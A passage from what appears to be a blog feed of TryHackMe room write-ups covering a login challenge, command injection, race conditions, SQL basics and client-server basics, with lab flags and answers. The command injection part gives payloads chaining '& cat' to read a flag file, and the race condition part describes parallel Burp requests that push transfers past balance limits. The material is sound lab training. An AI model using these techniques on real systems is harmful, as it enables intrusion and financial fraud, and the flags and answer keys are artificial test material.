&lt;p&gt;&lt;strong&gt;After logging in using the password found, what secret message is displayed on the page?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Go to the /login directory, then log in with the username admin and password qwerty as usual.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BDRXFnnw_ZHHo73.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{born_to_hack!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Review the output of your Hydra dictionary attack. How many failed password attempts were made before the correct password was found?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;17&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Where to Go From Here&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
This final task reviews the key terminology learned throughout the room, including Scope, Vulnerability, Exploit, Enumeration, Credentials, Authentication, and Dictionary Attack. It also outlines potential career paths in offensive security, such as Penetration Tester/Ethical Hacker, Vulnerability Researcher, and Red Team Operator. Finally, it recommends continuous practice and provides links to further learning paths like Cyber Security 101, Jr Penetration Tester, and SOC Level 1.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Complete the room and continue on your cyber learning journey!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.BwV2IZ3Z.webp"/><enclosure url="/_astro/1.BwV2IZ3Z.webp"/></item><item><title>Command Injection | TryHackMe Write-up</title><link>https://farros.co/blog/command-injection-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/command-injection-tryhackme-write-up/</guid><description>Walkthrough for Command Injection TryHackme room. Learn about a vulnerability allowing you to execute commands through a vulnerable app, and its remediations.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/oscommandinjection&quot;&gt;Command Injection&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction (What is Command Injection?)&lt;/h2&gt;
&lt;p&gt;Command injection (also known as Remote Code Execution or RCE) is a severe vulnerability where an attacker abuses an application&apos;s behavior to execute operating system commands. These commands run with the same privileges as the application, allowing the attacker to directly interact with the system, read sensitive files, and obtain permissions associated with the application&apos;s user account.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read me!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Discovering Command Injection&lt;/h2&gt;
&lt;p&gt;This vulnerability occurs when applications pass user input to system calls without proper checks. For example, if an application uses a search query to run a command like &lt;code&gt;grep&lt;/code&gt; on the OS, an attacker can inject additional commands instead of a normal search term. This flaw can exist in any programming language (such as PHP, Python, or NodeJS) as long as user input is processed and executed by the operating system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What variable stores the user&apos;s input in the PHP code snippet in this task?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$title&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What HTTP method is used to retrieve data submitted by a user in the PHP code snippet?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GET&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;If I wanted to execute the &lt;code&gt;id&lt;/code&gt; command in the Python code snippet, what route would I need to visit?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/id&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Exploiting Command Injection&lt;/h2&gt;
&lt;p&gt;Attackers exploit this vulnerability by using shell operators (like &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&amp;#x26;&lt;/code&gt;, and &lt;code&gt;&amp;#x26;&amp;#x26;&lt;/code&gt;) to chain multiple commands together. Command injection is generally identified in two ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Verbose Command Injection:&lt;/strong&gt; The application directly displays the output of the executed command (e.g., seeing the username when running &lt;code&gt;whoami&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blind Command Injection:&lt;/strong&gt; The application provides no direct output. Attackers must use commands that cause a time delay (like &lt;code&gt;ping&lt;/code&gt; or &lt;code&gt;sleep&lt;/code&gt;) or force an interaction (like &lt;code&gt;curl&lt;/code&gt;) to verify if the injection was successful.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;What payload would I use if I wanted to determine what user the application is running as?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;whoami&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What popular network tool would I use to test for blind command injection on a Linux machine?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ping&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What payload would I use to test a Windows machine for blind command injection?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;timeout&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Remediating Command Injection&lt;/h2&gt;
&lt;p&gt;Preventing command injection involves minimizing the use of dangerous functions (such as &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;passthru&lt;/code&gt;, and &lt;code&gt;system&lt;/code&gt; in PHP) and strictly filtering user input. A highly effective method is &quot;input sanitisation,&quot; which involves cleaning the data by restricting it to expected formats (e.g., only allowing numbers) or removing special characters. However, developers must be careful, as attackers constantly find creative ways (like using hexadecimal values) to bypass basic filters.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the term for the process of &quot;cleaning&quot; user input that is provided to an application?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sanitisation&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Practical: Command Injection (Deploy)&lt;/h2&gt;
&lt;p&gt;This task requires deploying a vulnerable target machine to apply the learned theory. The goal is to experiment with various command injection payloads on the provided web application to successfully read a hidden flag file located on the server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What user is this application running as?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CFrxsvsJ_Z2h2tnC.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;try typing this payload: &amp;#x26; whoami&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www-data&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What are the contents of the flag located in /home/tryhackme/flag.txt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Since we know that the previous payload used &quot;&amp;#x26;&quot; then we can continue using it again to get the flag with this payload: &amp;#x26; cat /home/tryhackme/flag.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.CU_qsWCk_b7NgB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Conclusion&lt;/h2&gt;
&lt;p&gt;This room provided a comprehensive overview of command injection, covering how to discover the vulnerability, exploit it across different operating systems (Linux and Windows), and secure applications against it. There are often multiple ways to exploit these vulnerabilities, so experimenting with different payloads is highly encouraged.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Terminate the vulnerable machine from task 5.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.z-PqgIf1.webp"/><enclosure url="/_astro/1.z-PqgIf1.webp"/></item><item><title>Race Conditions | TryHackMe Write-up</title><link>https://farros.co/blog/race-conditions-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/race-conditions-tryhackme-write-up/</guid><description>Complete walktrough for Race Conditions TryHackme room. Learn about race conditions and how they affect web application security.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/raceconditionsattacks&quot;&gt;Race Conditions&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This task introduces the concept of a race condition vulnerability. A race condition occurs when the timing or sequence of events influences a program&apos;s behavior, typically happening when multiple threads access and modify a variable without proper synchronization locks. This flaw can allow attackers to abuse systems, such as applying a single discount multiple times or spending beyond their account balance.&lt;/p&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/module/how-the-web-works&quot;&gt;How the Web Works&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/packetsframes&quot;&gt;Packets and Frames&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/r/room/burpsuitebasics&quot;&gt;Burp Suite: The Basics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;I know all the prerequisites. Let the race begin!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Multi-Threading&lt;/h2&gt;
&lt;p&gt;This section breaks down the core concepts of computer execution. A &lt;strong&gt;Program&lt;/strong&gt; is a static set of instructions (like a recipe). A &lt;strong&gt;Process&lt;/strong&gt; is a program in active execution, holding memory and moving through various states (New, Ready, Running, Waiting, Terminated). A &lt;strong&gt;Thread&lt;/strong&gt; is a lightweight execution unit within a process. Multi-threading allows a single process (like a web server) to handle multiple user requests simultaneously by spawning threads instead of forcing users to wait in a single-file line.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You downloaded an instruction booklet on how to make an origami crane. What would this instruction booklet resemble in computer terms?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;program&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the name of the state where a process is waiting for an I/O event?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;waiting&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Race Conditions&lt;/h2&gt;
&lt;p&gt;Race conditions are explained using a real-world analogy of two people trying to reserve the same restaurant table at the exact same time. In software, this is known as a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. If two concurrent threads check a bank balance of $100 and both try to withdraw $50 simultaneously, the lack of proper synchronization might allow both withdrawals to process before the system updates the final balance. This occurs frequently due to parallel execution, concurrent database operations, or poorly designed third-party API integrations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Does the presented Python script guarantee which thread will reach 100% first?&lt;/strong&gt; (Yea/Nay)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nay&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;In the second execution of the Python script, what is the name of the thread that reached 100% first?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thread-1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Web Application Architecture&lt;/h2&gt;
&lt;p&gt;Web applications typically use a multi-tier architecture (Presentation, Application, and Data tiers) running on a client-server model. When a system processes logic—like applying a coupon—it doesn&apos;t just instantly flip from &quot;not applied&quot; to &quot;applied.&quot; It goes through multiple intermediate states (e.g., checking validity, checking constraints, recalculating total). These intermediary steps create a split-second &quot;window of opportunity.&quot; By using tools like Burp Suite, an attacker can send simultaneous requests that hit the server within that tiny window, tricking the application into processing the same action multiple times.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How many states did the original state diagram of “validating and conducting money transfer” have?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Two-step process: either the Amount is not sent or the Amount is sent.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;How many states did the updated state diagram of “validating and conducting money transfer” have?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The server doesn&apos;t instantly send the money. It first needs to query the database to verify if you have enough funds. This introduces a third, hidden intermediate state: Checking account balance/limits.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;How many states did the final state diagram of “validating coupon codes and applying discounts” have?&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Coupon not applied&lt;/li&gt;
&lt;li&gt;Checking coupon validity&lt;/li&gt;
&lt;li&gt;Checking coupon constraints (e.g., is it expired?)&lt;/li&gt;
&lt;li&gt;Recalculating the total&lt;/li&gt;
&lt;li&gt;Coupon applied.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;5&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Exploiting Race Conditions&lt;/h2&gt;
&lt;p&gt;This practical task focuses on using Burp Suite Repeater to actively exploit a race condition in a mock mobile operator web app. By capturing a valid &lt;code&gt;POST&lt;/code&gt; request (like a money transfer), duplicating it multiple times in a Repeater Tab Group, and sending them in parallel, you can force the requests to arrive at the server within a 0.5-millisecond window. To achieve this synchronization, Burp Suite uses a single TCP packet for HTTP/2 or a &quot;last-byte synchronization&quot; technique for HTTP/1.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You need to get either of the accounts to get more than $100 of credit to get the flag. What is the flag that you obtained?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.Dim0iCCS_2d8Uyh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;First, we try to log in as user 07799991337&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Ds6z_Cn7_17zVUk.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then we try to transfer with $8 because the current balance is $8.99. Don&apos;t forget to turn on the foxyproxy and burp suite to intercept.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CSu-bL5u_Z1NH5KH.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;send to Repeater&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BFy9c17W_Zan8qv.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Create tab Group&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.BTRWS0OK_ZS4O0V.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then right click and duplicate the tab. You can fill it with the number 20 because 20 x 8 is 160.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.Q2c0sygi_Z1D7dy4.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And look at the response, here we can see whether the transaction was successful or not.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.BWr2Vt4J_Zni0WJ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Yes, the transaction was successful, then let&apos;s validate it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.x6tIliEr_Z1AVqGF.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;For user 07799991337, we can see that they have a negative balance due to a large number of transactions. Now, let&apos;s check the other accounts (07113371111).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.D26pYBrs_1X0FqW.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Yes, the transfer was successful and we have got the flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{PHONE-Race}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Detection and Mitigation&lt;/h2&gt;
&lt;p&gt;Detecting race conditions strictly from business logs is difficult because the malicious actions often look like standard user behavior, making penetration testing crucial. To mitigate these vulnerabilities, developers should use &lt;strong&gt;Synchronization Mechanisms&lt;/strong&gt; (like thread locks), &lt;strong&gt;Atomic Operations&lt;/strong&gt; (grouping instructions so they cannot be interrupted), and &lt;strong&gt;Database Transactions&lt;/strong&gt; (ensuring all operations either succeed completely or fail completely as a single unit).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make sure you have taken note of the above.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Challenge Web App&lt;/h2&gt;
&lt;p&gt;This is the final unguided challenge. You are tasked with logging into a vulnerable banking application using provided credentials. Using the parallel request techniques learned in Task 5 via Burp Suite, you must exploit a race condition during a money transfer to bypass the normal balance limits and amass over $1000 in a single account.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What flag did you obtain after getting an account’s balance above $1000?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.BDRKKZeY_21RdpU.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ll try logging in as Rasser Cond first. Let&apos;s see.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.C5lsLFCs_Z249GgE.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try transferring 100. In this scenario, the target amount would only be 100. In this scenario, the target amount would only be 95 due to the $5 transfer fee. Let&apos;s enable FoxyProxy for Burp, then enable the intercept feature in Burp Suite, don&apos;t forget.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.DdQCWOWZ_1DAjVW.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Send to repeater like before.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.D38dm811_Z1iuBeC.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Create a text group as before, then duplicate the tab as before as well and multiply it to 20 as before as well.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-13.rDTFduXw_rG1AT.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then send the group in parallel and check one by one what is the status of each transaction.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-14.C1P3-ftc_Z2brIV4.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Because when I checked each transaction, there were some transactions that experienced internal server errors, but this was not a problem because some of them were successful.&lt;/p&gt;
&lt;p&gt;Then we need to check and validate the transaction. Is the balance correct?&lt;/p&gt;
&lt;p&gt;To validate this, we need to log in to the other account that was used to send the balance previously. That account is the Zavodni Stav account. Let&apos;s get started.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-15.EHuJwXXn_Z2naxq4.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can check whether some transactions were successful and the rest failed. We just need to send this balance to another account such as Warunki Wyscigu user account. let&apos;s do it like before.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-16.Bf4Yyw3r_8WOiq.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Send to Repeater&lt;/li&gt;
&lt;li&gt;Create gorup tab&lt;/li&gt;
&lt;li&gt;Duplicate tab&lt;/li&gt;
&lt;li&gt;Send group (parallel)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-17.B82dUPiW_Z1rQRf6.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Because some transactions are true and then we just need to check Warunki Wyscigu.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-18.Zb-ecIg7_Nsqri.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{BANK-RED-FLAG}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.HNCqR7IZ.webp"/><enclosure url="/_astro/1.HNCqR7IZ.webp"/></item><item><title>Database SQL Basics | TryHackMe Write-up</title><link>https://farros.co/blog/database-sql-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/database-sql-basics-tryhackme-write-up/</guid><description>Complete walkthrough for Database SQL Basics TryHackme room. Learn the basics of databases and SQL by writing simple queries to retrieve and manage data.</description><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/databasesqlbasics&quot;&gt;Database SQL Basics&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This section introduces the concept of databases by comparing them to a café&apos;s physical notebook. As a business grows, tracking orders with simple files becomes slow and confusing. Databases solve this by storing information in a structured, easily searchable, and manageable way. The learning objectives include understanding data, the purpose of databases, SQL, the structure of tables (rows and columns), and writing basic queries.&lt;/p&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/insideacomputer&quot;&gt;Inside a Computer System&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/jr/clientserverbasics&quot;&gt;Client-Server Basics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/datarepresentation&quot;&gt;Data Representation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;I am ready to dive into the database!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Understanding Tables, Rows, and Columns&lt;/h2&gt;
&lt;p&gt;Databases organize information digitally so computers can search, count, and sort data in seconds. Inside a database, data is stored in tables, which resemble spreadsheets. Columns represent the type of information (e.g., drink, price), while rows represent a complete individual record (e.g., a single customer&apos;s order). SQL is the language used to ask the database questions, known as queries, to retrieve specific data without altering it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Inside databases, what is the term for the &quot;spreadsheets&quot; that store the information?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Table&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Writing Your First SQL Query&lt;/h2&gt;
&lt;p&gt;This task explains the four core components of a basic SQL query:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SELECT&lt;/code&gt;: Chooses which columns to display (using &lt;code&gt;*&lt;/code&gt; selects all columns).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FROM&lt;/code&gt;: Specifies which table the data comes from.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WHERE&lt;/code&gt;: Filters the results to only show rows that match a specific condition.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ORDER BY&lt;/code&gt;: Sorts the output by a specific column (defaults to lowest-to-highest; adding &lt;code&gt;DESC&lt;/code&gt; reverses it to highest-to-lowest).
These keywords can be combined to run highly specific searches, like filtering for a specific drink and sorting the results by price.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;When you showed all orders, how many rows were returned?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the script for the solution: SELECT * FROM Orders;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;50&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;When you sorted orders by price from cheapest to most expensive, which drink appeared first?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the script for the solution: SELECT * FROM Orders ORDER BY price;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tea&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;When you sorted the menu by price from most expensive to cheapest, which drink appeared first?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is the script for the solution: SELECT * FROM Orders ORDER BY price DESC;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;latte&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Conclusion&lt;/h2&gt;
&lt;p&gt;The room concludes with a review of how databases store information using tables, rows, and columns. It recaps the four foundational SQL commands learned (&lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;FROM&lt;/code&gt;, &lt;code&gt;WHERE&lt;/code&gt;, &lt;code&gt;ORDER BY&lt;/code&gt;) and how they are used to show, filter, sort, and retrieve data. Finally, it leaves you with a conceptual question about the security implications of allowing unauthorized users to modify or delete data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I have successfully completed this room and can write basic SQL queries.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.DfYFVdI8.webp"/><enclosure url="/_astro/1.DfYFVdI8.webp"/></item><item><title>Client-Server Basics | TryHackMe Write-up</title><link>https://farros.co/blog/client-server-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/client-server-basics-tryhackme-write-up/</guid><description>Complete walkthrough for Client-Server Basics TryHackme room. This room teaches the basics of the Client-Server model.</description><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/clientserverbasics&quot;&gt;Client-Server Basics&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;In the past, computers operated completely independently, but networks like ARPANET and CYCLADES paved the way for the modern internet by interconnecting systems to share resources. Just like people specializing in society, computer systems specialize to offer services. This section sets the foundation for understanding the Client-Server model and core networking concepts like DNS, clients, servers, ports, protocols, and networks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s go!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Pizza Delivery&lt;/h2&gt;
&lt;p&gt;The Client-Server model is much like ordering takeaway pizza. The &lt;strong&gt;client&lt;/strong&gt; (like a customer&apos;s browser) initiates a request. The &lt;strong&gt;server&lt;/strong&gt; (like the pizza shop) processes it and sends a response. A &lt;strong&gt;protocol&lt;/strong&gt; dictates the rules of this communication, ensuring both sides speak the same language and understand the commands. A &lt;strong&gt;port&lt;/strong&gt; is used to identify a specific service running on that server (similar to separate doors for delivery vs. dining in). Finally, &lt;strong&gt;DNS (Domain Name Service)&lt;/strong&gt; translates a human-readable name into an &lt;strong&gt;IP (Internet Protocol) address&lt;/strong&gt;, acting like a GPS to locate the exact destination of the server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What do we use to identify a specific service on a server?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;port&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What do we call the address of a server?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Internet Protocol address&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Web Communication in Practice&lt;/h2&gt;
&lt;p&gt;HTTP (Hypertext Transfer Protocol) is a stateless client-server protocol used for web communication, meaning each request is processed independently without memory of previous ones (though cookies/tokens add statefulness for logins). Out of the 9 core HTTP methods, &lt;strong&gt;GET&lt;/strong&gt; is the most common and is used to retrieve resources from a web server. When a client makes a GET request, the server returns a response containing a status code (like &quot;200 OK&quot;) and a response body (like an HTML page). You can use a browser&apos;s Developer Tools (Network tab) to inspect the details of these requests, including the Scheme, Host, Filename, Address, and Status.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What would be the host in the following URL? &lt;code&gt;https://www.iamlearning.thm/contact&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
